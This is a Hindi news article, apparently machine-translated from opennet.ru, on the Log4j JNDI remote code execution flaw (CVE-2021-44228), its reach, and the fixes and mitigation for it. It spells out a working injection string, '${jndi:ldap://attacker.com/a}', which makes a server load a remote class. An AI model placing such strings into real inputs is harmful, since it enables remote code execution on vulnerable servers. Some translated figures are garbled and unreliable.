🥇Apache Log4j में एक भयावह भेद्यता कई जावा परियोजनाओं को प्रभावित कर रही है

Apache Log4j में, जो जावा अनुप्रयोगों में लॉगिंग को व्यवस्थित करने के लिए एक लोकप्रिय ढांचा है, एक महत्वपूर्ण भेद्यता की पहचान की गई है जो लॉग में "{jndi:URL}" प्रारूप में विशेष रूप से स्वरूपित मान लिखे जाने पर मनमाना कोड निष्पादित करने की अनुमति देता है। हमला जावा अनुप्रयोगों पर किया जा सकता है जो बाहरी स्रोतों से प्राप्त लॉग मानों को लॉग करते हैं, उदाहरण के लिए, त्रुटि संदेशों में समस्याग्रस्त मान प्रदर्शित करते समय।

यह ध्यान दिया गया है कि अपाचे स्ट्रट्स, अपाचे सोलर, अपाचे ड्र्यूड या अपाचे फ्लिंक जैसे फ्रेमवर्क का उपयोग करने वाली लगभग सभी परियोजनाएं समस्या से प्रभावित हैं, जिनमें स्टीम, ऐप्पल आईक्लाउड, माइनक्राफ्ट क्लाइंट और सर्वर शामिल हैं। यह उम्मीद की जाती है कि भेद्यता अपाचे स्ट्रट्स ढांचे में महत्वपूर्ण कमजोरियों के इतिहास को दोहराते हुए, कॉर्पोरेट अनुप्रयोगों पर बड़े पैमाने पर हमलों की लहर पैदा कर सकती है, जो एक मोटे अनुमान के अनुसार, फॉर्च्यून के 65% वेब अनुप्रयोगों में उपयोग किया जाता है। 100 कंपनियाँ, जिसमें कमजोर प्रणालियों के लिए नेटवर्क को स्कैन करने के प्रयास शामिल हैं।

समस्या इस तथ्य से बढ़ गई है कि एक कार्यशील शोषण पहले ही प्रकाशित हो चुका है, लेकिन स्थिर शाखाओं के लिए सुधार अभी तक संकलित नहीं किए गए हैं। सीवीई पहचानकर्ता अभी तक निर्दिष्ट नहीं किया गया है। फिक्स केवल log4j-2.15.0-rc1 परीक्षण शाखा में शामिल है। भेद्यता को रोकने के समाधान के रूप में, log4j2.formatMsgNoLookups पैरामीटर को सत्य पर सेट करने की अनुशंसा की जाती है।

समस्या इस तथ्य के कारण हुई कि log4j लॉग में आउटपुट लाइनों में विशेष मास्क "{}" को संसाधित करने का समर्थन करता है, जिसमें JNDI (जावा नामकरण और निर्देशिका इंटरफ़ेस) क्वेरी निष्पादित की जा सकती है। यह हमला प्रतिस्थापन "${jndi:ldap://attacker.com/a}" के साथ एक स्ट्रिंग को पारित करने के लिए उबलता है, जिसे संसाधित करने पर log4j हमलावर.com सर्वर को जावा क्लास के पथ के लिए एक LDAP अनुरोध भेजेगा। . हमलावर के सर्वर द्वारा लौटाया गया पथ (उदाहरण के लिए, http://third-stage.attacker.com/Exploit.class) को वर्तमान प्रक्रिया के संदर्भ में लोड और निष्पादित किया जाएगा, जो हमलावर को मनमाना कोड निष्पादित करने की अनुमति देता है। वर्तमान एप्लिकेशन के अधिकारों के साथ सिस्टम।

परिशिष्ट 1: भेद्यता को पहचानकर्ता CVE-2021-44228 सौंपा गया है।

परिशिष्ट 2: रिलीज़ log4j-2.15.0-rc1 द्वारा जोड़ी गई सुरक्षा को बायपास करने का एक तरीका पहचाना गया है। भेद्यता के विरुद्ध अधिक संपूर्ण सुरक्षा के साथ एक नया अद्यतन, log4j-2.15.0-rc2 प्रस्तावित किया गया है। कोड गलत तरीके से स्वरूपित जेएनडीआई यूआरएल का उपयोग करने के मामले में असामान्य समाप्ति की अनुपस्थिति से जुड़े परिवर्तन पर प्रकाश डालता है।

स्रोत: opennet.ru

Apache Log4j में विनाशकारी भेद्यता कई जावा परियोजनाओं को प्रभावित कर रही है

एक टिप्पणी जोड़ें उत्तर रद्द